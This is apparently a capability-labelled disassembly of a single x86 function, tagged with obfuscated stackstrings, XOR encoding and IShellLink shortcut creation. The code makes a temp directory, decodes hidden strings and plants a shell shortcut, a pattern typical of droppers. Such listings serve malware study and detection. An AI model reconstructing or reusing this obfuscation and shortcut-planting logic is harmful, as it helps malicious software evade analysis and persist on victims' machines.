Function at 0x403d40
Capabilities:
Contain obfuscated stackstrings
Create directory
Create shortcut via ishelllink
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d865
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x790
mov eax, dword [0x42c014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x228]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0040b5a0
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4c0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4bc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403dd7
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
lea ecx, [ebp - 0x4d0]
call fcn.00402760
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x460], 0
mov dword [ebp - 0x45c], 0xf
mov byte [ebp - 0x470], 0
mov byte [ebp - 4], 2
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, 0x16
call fcn.004106f1
cdq
lea ecx, [ebp - 0x458]
idiv esi
add edx, 8
call fcn.00403c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4d0]
cmp dword [ebp - 0x4bc], 0x10
push dword [ebp - 0x4c0]
cmovae ecx, dword [ebp - 0x4d0]
push ecx
push ecx
mov ecx, eax
call fcn.00409340
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x45c]
movq qword [ebp - 0x440], xmm1
movups xmmword [ebp - 0x4a0], xmm0
cmp ecx, 0x10
jb 0x403ed5
mov edx, dword [ebp - 0x470]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ebc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f40
push ecx
push edx
call fcn.00409bac
movups xmm0, xmmword [ebp - 0x4a0]
add esp, 8
movq xmm1, qword [ebp - 0x440]
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x444]
movq qword [ebp - 0x460], xmm1
movups xmmword [ebp - 0x470], xmm0
cmp ecx, 0x10
jb 0x403f22
mov edx, dword [ebp - 0x458]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f40
push ecx
push edx
call fcn.00409bac
add esp, 8
cmp dword [ebp - 0x45c], 0x10
lea eax, [ebp - 0x470]
push 0
cmovae eax, dword [ebp - 0x470]
push eax
call edi
push 0x3e8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x403e22
push 0x148
lea eax, [ebp - 0x760]
push 0
push eax
call fcn.0040b5a0
add esp, 0xc
mov dword [ebp - 0x754], 0x429428
mov dword [ebp - 0x75c], 0x7a120
push 0x7a120
call fcn.00409bba
add esp, 4
mov dword [ebp - 0x760], eax
push dword [ebp - 0x75c]
push 0
push eax
call fcn.0040b5a0
add esp, 0xc
mov dword [ebp - 0x73c], 0xfde9
mov dword [ebp - 0x728], 0
mov dword [ebp - 0x724], 0
mov dword [ebp - 0x720], 0
mov byte [ebp - 4], 4
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x490], 0x424a001d
mov word [ebp - 0x48c], 0x2e42
mov edi, dword [eax]
mov eax, dword [0x42d8fc]
mov dword [ebp - 0x768], edi
cmp eax, dword [edi + 4]
jle 0x40404e
push 0x42d8fc
call fcn.00409cf5
add esp, 4
cmp dword [0x42d8fc], 0xffffffff
jne 0x40404e
mov eax, dword [ebp - 0x490]
movaps xmm0, xmmword [str.rl__GH_qgqX]
mov dword [0x42d9b0], eax
mov ax, word [ebp - 0x48c]
push 0x41dc30
movups xmmword [0x42d9a0], xmm0
mov word [0x42d9b4], ax
call fcn.0040a007
add esp, 4
push 0x42d8fc
call fcn.00409cab
add esp, 4
cmp byte [0x42d9b5], 0
je 0x404082
movups xmm0, xmmword [0x42d9a0]
mov eax, 0x10
movaps xmm1, xmmword [str.................]
pxor xmm1, xmm0
movups xmmword [0x42d9a0], xmm1
xor byte [eax + 0x42d9a0], 0x2e
inc eax
cmp eax, 0x16
jb 0x404075
mov ecx, 0x42d9a0
mov dword [ebp - 0x79c], 0
mov dword [ebp - 0x78c], 0
mov dword [ebp - 0x788], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4040a8
sub ecx, edx
push ecx
push 0x42d9a0
lea ecx, [ebp - 0x79c]
call fcn.00402760
mov byte [ebp - 4], 5
lea eax, [ebp - 0x470]
cmp dword [ebp - 0x45c], 0x10
push dword [ebp - 0x460]
cmovae eax, dword [ebp - 0x470]
push eax
push ecx
lea ecx, [ebp - 0x79c]
call fcn.00409340
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x4a4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x788]
cmp ecx, 0x10
jb 0x404171
mov edx, dword [ebp - 0x79c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404167
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f40
push ecx
push edx
call fcn.00409bac
add esp, 8
mov eax, dword [0x42da24]
mov dword [ebp - 0x78c], 0
mov dword [ebp - 0x788], 0xf
mov byte [ebp - 0x79c], 0
mov dword [ebp - 0x440], 0x48415d01
mov dword [ebp - 0x43c], 0x414a015a
mov dword [ebp - 0x438], 0x41424059
mov word [ebp - 0x434], 0x4a4f
mov byte [ebp - 0x769], 0x2e
cmp eax, dword [edi + 4]
jle 0x40422a
push 0x42da24
call fcn.00409cf5
add esp, 4
cmp dword [0x42da24], 0xffffffff
jne 0x40422a
mov eax, dword [ebp - 0x438]
movq xmm0, qword [ebp - 0x440]
mov dword [0x42d920], eax
mov ax, word [ebp - 0x434]
mov word [0x42d924], ax
mov al, byte [ebp - 0x769]
push 0x41dc00
movq qword [0x42d918], xmm0
mov byte [0x42d926], al
call fcn.0040a007
add esp, 4
push 0x42da24
call fcn.00409cab
add esp, 4
cmp byte [0x42d926], 0
je 0x404242
xor eax, eax
xor byte [eax + 0x42d918], 0x2e
inc eax
cmp eax, 0xf
jb 0x404235
mov ecx, 0x42d918
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404268
sub ecx, edx
push ecx
push 0x42d918
lea ecx, [ebp - 0x458]
call fcn.00402760
mov byte [ebp - 4], 0xa
lea eax, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
push dword [ebx + 0x18]
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea ecx, [ebp - 0x458]
call fcn.00409340
mov dword [ebp - 0x784], 0
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x784], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x774], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xb
lea esi, [ebp - 0x784]
cmp dword [ebp - 0x770], 0x10
mov eax, dword [ebp - 0x734]
cmovae esi, dword [ebp - 0x784]
mov dword [ebp - 0x72c], 0
test eax, eax
je 0x404326
push eax
call fcn.00409a55
add esp, 4
mov dword [ebp - 0x734], 0
push esi
lea ecx, [ebp - 0x760]
call fcn.00401e50
mov byte [ebp - 4], 0xa
mov esi, eax
mov ecx, dword [ebp - 0x770]
cmp ecx, 0x10
jb 0x404372
mov edx, dword [ebp - 0x784]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404368
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f45
push ecx
push edx
call fcn.00409bac
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x444]
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0xf
mov byte [ebp - 0x784], 0
cmp ecx, 0x10
jb 0x4043cb
mov edx, dword [ebp - 0x458]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4043c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f45
push ecx
push edx
call fcn.00409bac
add esp, 8
test esi, esi
je 0x404407
cmp dword [ebp - 0x738], 0
je 0x404407
mov eax, dword [ebp - 0x72c]
test eax, eax
je 0x404407
cmp eax, 0x14
jbe 0x404407
cmp dword [ebp - 0x4a4], 0x10
lea eax, [ebp - 0x4b8]
lea ecx, [ebp - 0x760]
cmovae eax, dword [ebp - 0x4b8]
push eax
call fcn.00402220
push 0x148
lea eax, [ebp - 0x618]
push 0
push eax
call fcn.0040b5a0
add esp, 0xc
mov dword [ebp - 0x60c], 0x42942c
mov dword [ebp - 0x614], 0x7a120
push 0x7a120
call fcn.00409bba
add esp, 4
mov dword [ebp - 0x618], eax
push dword [ebp - 0x614]
push 0
push eax
call fcn.0040b5a0
add esp, 0xc
mov dword [ebp - 0x5f4], 0xfde9
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x5d8], 0
mov byte [ebp - 4], 0xc
mov eax, dword [0x42d968]
mov dword [ebp - 0x440], 0x6d037772
mov dword [ebp - 0x43c], 0x404f4b42
mov dword [ebp - 0x438], 0x4b005c4b
mov word [ebp - 0x434], 0x4b56
mov byte [ebp - 0x769], 0x2e
cmp eax, dword [edi + 4]
jle 0x40451f
push 0x42d968
call fcn.00409cf5
add esp, 4
cmp dword [0x42d968], 0xffffffff
jne 0x40451f
mov eax, dword [ebp - 0x438]
movq xmm0, qword [ebp - 0x440]
mov dword [0x42db78], eax
mov ax, word [ebp - 0x434]
mov word [0x42db7c], ax
mov al, byte [ebp - 0x769]
push 0x41dbd0
movq qword [0x42db70], xmm0
mov byte [0x42db7e], al
call fcn.0040a007
add esp, 4
push 0x42d968
call fcn.00409cab
add esp, 4
cmp byte [0x42db7e], 0
je 0x40453d
xor eax, eax
nop word [eax + eax]
xor byte [eax + 0x42db70], 0x2e
inc eax
cmp eax, 0xf
jb 0x404530
mov ecx, 0x42db70
mov dword [ebp - 0x79c], 0
mov dword [ebp - 0x78c], 0
mov dword [ebp - 0x788], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404563
sub ecx, edx
push ecx
push 0x42db70
lea ecx, [ebp - 0x79c]
call fcn.00402760
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x470]
cmp dword [ebp - 0x45c], 0x10
push dword [ebp - 0x460]
cmovae eax, dword [ebp - 0x470]
push eax
push ecx
lea ecx, [ebp - 0x79c]
call fcn.00409340
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x478], 0
mov dword [ebp - 0x474], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x488], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x478], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x788]
cmp ecx, 0x10
jb 0x40462c
mov edx, dword [ebp - 0x79c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404622
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f4a
push ecx
push edx
call fcn.00409bac
add esp, 8
mov eax, dword [0x42d96c]
mov dword [ebp - 0x78c], 0
mov dword [ebp - 0x788], 0xf
mov byte [ebp - 0x79c], 0
mov dword [ebp - 0x440], 0x48415d01
mov dword [ebp - 0x43c], 0x414a015a
mov dword [ebp - 0x438], 0x41424059
mov word [ebp - 0x434], 0x4a4f
mov byte [ebp - 0x769], 0x2e
cmp eax, dword [edi + 4]
jle 0x4046e5
push 0x42d96c
call fcn.00409cf5
add esp, 4
cmp dword [0x42d96c], 0xffffffff
jne 0x4046e5
mov eax, dword [ebp - 0x438]
movq xmm0, qword [ebp - 0x440]
mov dword [0x42d9c0], eax
mov ax, word [ebp - 0x434]
mov word [0x42d9c4], ax
mov al, byte [ebp - 0x769]
push 0x41dba0
movq qword [0x42d9b8], xmm0
mov byte [0x42d9c6], al
call fcn.0040a007
add esp, 4
push 0x42d96c
call fcn.00409cab
add esp, 4
cmp byte [0x42d9c6], 0
je 0x4046fd
xor eax, eax
xor byte [eax + 0x42d9b8], 0x2e
inc eax
cmp eax, 0xf
jb 0x4046f0
mov ecx, 0x42d9b8
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404723
sub ecx, edx
push ecx
push 0x42d9b8
lea ecx, [ebp - 0x458]
call fcn.00402760
mov byte [ebp - 4], 0x12
lea eax, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
push dword [ebx + 0x18]
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea ecx, [ebp - 0x458]
call fcn.00409340
mov dword [ebp - 0x784], 0
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x784], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x774], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x784]
cmp dword [ebp - 0x770], 0x10
mov eax, dword [ebp - 0x5ec]
cmovae esi, dword [ebp - 0x784]
mov dword [ebp - 0x5e4], 0
test eax, eax
je 0x4047e1
push eax
call fcn.00409a55
add esp, 4
mov dword [ebp - 0x5ec], 0
push esi
lea ecx, [ebp - 0x618]
call fcn.00401e50
mov byte [ebp - 4], 0x12
mov esi, eax
mov ecx, dword [ebp - 0x770]
cmp ecx, 0x10
jb 0x40482d
mov edx, dword [ebp - 0x784]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404823
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f4f
push ecx
push edx
call fcn.00409bac
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x444]
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0xf
mov byte [ebp - 0x784], 0
cmp ecx, 0x10
jb 0x404886
mov edx, dword [ebp - 0x458]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40487c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f4f
push ecx
push edx
call fcn.00409bac
add esp, 8
test esi, esi
mov esi, dword [sym.imp.ole32.dll_CoUninitialize]
je 0x404d65
cmp dword [ebp - 0x5f0], 0
je 0x404d65
mov eax, dword [ebp - 0x5e4]
test eax, eax
je 0x404d65
cmp eax, 0x14
jle 0x404d65
cmp dword [ebp - 0x474], 0x10
lea eax, [ebp - 0x488]
lea ecx, [ebp - 0x618]
cmovae eax, dword [ebp - 0x488]
push eax
call fcn.00402220
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x404d65
mov eax, dword [0x42d984]
mov dword [ebp - 0x440], 0x4b426d72
mov dword [ebp - 0x43c], 0x5c4b404f
mov dword [ebp - 0x438], 0x45404200
mov byte [ebp - 0x769], 0x2e
cmp eax, dword [edi + 4]
jle 0x40497d
push 0x42d984
call fcn.00409cf5
add esp, 4
cmp dword [0x42d984], 0xffffffff
jne 0x40497d
mov eax, dword [ebp - 0x438]
movq xmm0, qword [ebp - 0x440]
mov dword [0x42d9fc], eax
mov al, byte [ebp - 0x769]
push 0x41db80
movq qword [0x42d9f4], xmm0
mov byte [0x42da00], al
call fcn.0040a007
add esp, 4
push 0x42d984
call fcn.00409cab
add esp, 4
cmp byte [0x42da00], 0
je 0x40499d
xor eax, eax
nop dword [eax + eax]
xor byte [eax + 0x42d9f4], 0x2e
inc eax
cmp eax, 0xd
jb 0x404990
mov ecx, 0x42d9f4
mov dword [ebp - 0x784], 0
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4049c3
sub ecx, edx
push ecx
push 0x42d9f4
lea ecx, [ebp - 0x784]
call fcn.00402760
lea esi, [ebp - 0x120]
mov byte [ebp - 4], 0x14
lea ecx, [esi + 1]
nop word [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4049f0
mov edx, dword [ebp - 0x774]
sub esi, ecx
mov ecx, dword [ebp - 0x770]
mov eax, ecx
sub eax, edx
cmp esi, eax
ja 0x404ac5
lea eax, [edx + esi]
cmp ecx, 0x10
mov dword [ebp - 0x774], eax
lea edi, [ebp - 0x784]
cmovae edi, dword [ebp - 0x784]
lea eax, [ebp - 0x120]
add eax, esi
cmp eax, edi
jbe 0x404a67
lea eax, [edi + edx]
lea ecx, [ebp - 0x120]
cmp ecx, eax
ja 0x404a67
mov eax, ecx
cmp edi, eax
ja 0x404a55
mov dword [ebp - 0x764], 0
jmp 0x404a6d
mov eax, edi
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x764], eax
jmp 0x404a6d
mov dword [ebp - 0x764], esi
lea eax, [edx + 1]
push eax
lea ecx, [edi + esi]
push edi
push ecx
call fcn.0040b020
add esp, 0xc
lea eax, [ebp - 0x120]
push dword [ebp - 0x764]
push eax
push edi
call fcn.0040b020
mov edx, dword [ebp - 0x764]
add esp, 0xc
mov eax, esi
sub eax, edx
push eax
lea ecx, [edi + edx]
lea eax, [edx + esi]
lea edx, [ebp - 0x120]
add eax, edx
push eax
push ecx
call fcn.0040b020
mov edi, dword [ebp - 0x768]
lea eax, [ebp - 0x784]
add esp, 0xc
jmp 0x404ae7
push esi
lea eax, [ebp - 0x120]
mov byte [ebp - 0x768], 0
push eax
push ecx
push dword [ebp - 0x768]
lea ecx, [ebp - 0x784]
push esi
call fcn.00409600
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x458], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x448], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x770]
cmp ecx, 0x10
jb 0x404b6b
mov edx, dword [ebp - 0x784]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404b61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f54
push ecx
push edx
call fcn.00409bac
add esp, 8
mov eax, dword [0x42dbac]
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0xf
mov byte [ebp - 0x784], 0
mov dword [ebp - 0x490], 0x2e5c4b5a
cmp eax, dword [edi + 4]
jle 0x404be6
push 0x42dbac
call fcn.00409cf5
add esp, 4
cmp dword [0x42dbac], 0xffffffff
jne 0x404be6
movaps xmm0, xmmword [0x429520]
mov eax, dword [ebp - 0x490]
push 0x41db60
movups xmmword [0x42db08], xmm0
mov dword [0x42db18], eax
call fcn.0040a007
add esp, 4
push 0x42dbac
call fcn.00409cab
add esp, 4
cmp dword [ebp - 0x444], 0x10
lea esi, [ebp - 0x458]
lea edi, [ebp - 0x488]
cmovae esi, dword [ebp - 0x458]
lea edx, [ebp - 0x488]
cmp dword [ebp - 0x474], 0x10
cmovae edx, dword [ebp - 0x488]
cmovae edi, dword [ebp - 0x488]
cmp byte [0x42db1b], 0
mov dword [ebp - 0x438], edx
je 0x404c5d
movups xmm0, xmmword [0x42db08]
mov eax, 0x10
movaps xmm1, xmmword [str.................]
pxor xmm1, xmm0
movups xmmword [0x42db08], xmm1
nop dword [eax + eax]
xor byte [eax + 0x42db08], 0x2e
inc eax
cmp eax, 0x14
jb 0x404c50
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x764]
push eax
push 0x41f260
push 1
push 0
push 0x41f290
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x404d25
mov eax, dword [ebp - 0x764]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x764]
push 0x42db08
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x764]
push 0
push dword [ebp - 0x438]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x764]
lea edx, [ebp - 0x768]
push edx
push 0x41f280
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x404d0f
push 0x104
lea eax, [ebp - 0x430]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x768]
lea edx, [ebp - 0x430]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x768]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x764]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov esi, dword [sym.imp.ole32.dll_CoUninitialize]
call esi
jmp 0x404d2b
mov esi, dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x444]
cmp ecx, 0x10
jb 0x404d65
mov edx, dword [ebp - 0x458]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f59
push ecx
push edx
call fcn.00409bac
add esp, 8
mov ecx, dword [ebp - 0x474]
cmp ecx, 0x10
jb 0x404d9f
mov edx, dword [ebp - 0x488]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f5e
push ecx
push edx
call fcn.00409bac
add esp, 8
push dword [ebp - 0x618]
mov dword [ebp - 0x478], 0
mov dword [ebp - 0x474], 0xf
mov byte [ebp - 0x488], 0
call fcn.00409a55
add esp, 4
push dword [ebp - 0x5f0]
call fcn.00409a55
add esp, 4
push dword [ebp - 0x5ec]
call fcn.00409a55
add esp, 4
call esi
mov ecx, dword [ebp - 0x4a4]
cmp ecx, 0x10
jb 0x404e20
mov edx, dword [ebp - 0x4b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f5e
push ecx
push edx
call fcn.00409bac
add esp, 8
push dword [ebp - 0x760]
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x4a4], 0xf
mov byte [ebp - 0x4b8], 0
call fcn.00409a55
add esp, 4
push dword [ebp - 0x738]
call fcn.00409a55
add esp, 4
push dword [ebp - 0x734]
call fcn.00409a55
add esp, 4
call esi
mov ecx, dword [ebp - 0x45c]
cmp ecx, 0x10
jb 0x404ea1
mov edx, dword [ebp - 0x470]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f5e
push ecx
push edx
call fcn.00409bac
add esp, 8
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x460], 0
mov dword [ebp - 0x45c], 0xf
mov byte [ebp - 0x470], 0
cmp ecx, 0x10
jb 0x404ef2
mov edx, dword [ebp - 0x4d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404ee8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f5e
push ecx
push edx
call fcn.00409bac
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x404f22
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f5e
push ecx
push edx
call fcn.00409bac
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00409a47
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040d01f
call fcn.0040d01f
call fcn.0040d01f
call fcn.0040d01f
call fcn.0040d01f
call fcn.0040d01f
call fcn.0040d01f
int3